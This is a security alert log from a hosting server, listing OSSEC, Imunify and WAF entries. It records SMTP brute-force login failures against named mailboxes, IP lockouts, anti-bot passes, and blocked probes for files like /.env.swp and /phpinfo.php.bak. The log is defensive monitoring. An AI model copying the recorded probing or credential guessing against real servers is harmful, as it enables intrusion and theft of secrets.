country_id: 99237
description:
212.237.122.127 - - [13/Jun/2026:07:39:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001041&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336391 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6843.1391 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.122.127


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28196: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24296: 535 Incorrect authentication data (set_id=slave@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20248: 535 Incorrect authentication data (set_id=dragon@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.192.213.85
country_id: 1733045
description:
14.192.213.85 - - [13/Jun/2026:07:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131400&pdata=https%253A%252F%252Ftogodailynews.tg%252Frapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336363 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2633.1900 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.192.213.85


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:bighostingsnbd||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34826: 535 Incorrect authentication data (set_id=csmith@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:39:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:39:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54518: 535 Incorrect authentication data (set_id=amd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:39:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40574: 535 Incorrect authentication data (set_id=newserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:39:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:39:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41490: 535 Incorrect authentication data (set_id=sqlserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:39:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:39:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:39:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:39:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.185.95
country_id: 6252001
description:
146.190.185.95 - - [13/Jun/2026:07:40:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278107&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336453 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.185.95


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.43.97.103
country_id: 298795
description:
Jun 13 07:40:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.43.97.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:40:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:40:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63548: 535 Incorrect authentication data (set_id=zms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:40:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11978: 535 Incorrect authentication data (set_id=citrix2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.97.103
country_id: 298795
description:
2026-06-13 07:41:01 dovecot_plain authenticator failed for H=(nx3k9io319xwtehpkqp) [213.43.97.103]:47532: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:16018: 535 Incorrect authentication data (set_id=securite@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4388: 535 Incorrect authentication data (set_id=laborator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32388: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:40:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31934: 535 Incorrect authentication data (set_id=yaoyao@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:41:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:41:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23284: 535 Incorrect authentication data (set_id=tushar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:41:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16984: 535 Incorrect authentication data (set_id=aris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:41:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:41:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28232: 535 Incorrect authentication data (set_id=dev.www@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:41:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:42:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:42:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59982: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:42:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:42:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:14276: 535 Incorrect authentication data (set_id=bux@ns5.netmaster.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.229.219.202
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:42:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10980: 535 Incorrect authentication data (set_id=acctftp1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8748: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:43:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:43:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:43:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:43:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37952: 535 Incorrect authentication data (set_id=tomata@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:43:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2738: 535 Incorrect authentication data (set_id=userid@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:43:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5150: 535 Incorrect authentication data (set_id=tester2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29902: 535 Incorrect authentication data (set_id=gutenberg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:44:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:44:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:58770: 535 Incorrect authentication data (set_id=sagar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60750: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35842: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:45:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59196: 535 Incorrect authentication data (set_id=loris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 07:45:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:45:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52194: 535 Incorrect authentication data (set_id=testing1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:45:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:45:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21776: 535 Incorrect authentication data (set_id=sku@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:45:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:45:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:46:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.252.40.158
country_id: 732800
description:
Jun 13 07:46:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.252.40.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:46:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038823&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336793 HTTP/2.0" 302 0 crepsad.tg "https://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 13 07:46:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:46:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13710: 535 Incorrect authentication data (set_id=testuser01@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41180: 535 Incorrect authentication data (set_id=tomasz@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36996: 535 Incorrect authentication data (set_id=linkname@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.241.50
country_id: 1814991
description:
Jun 13 07:46:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.241.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:46:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25460: 535 Incorrect authentication data (set_id=klopez@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 13 07:47:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:47:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 07:48:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:47:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:47:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32910: 535 Incorrect authentication data (set_id=bitbucket@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:47:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:48:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:47:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32600: 535 Incorrect authentication data (set_id=f5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.136
country_id: 1819730
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:47:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:47:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 07:48:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:47:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35522: 535 Incorrect authentication data (set_id=spamtrap@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23710: 535 Incorrect authentication data (set_id=jennie@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20490: 535 Incorrect authentication data (set_id=frankie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
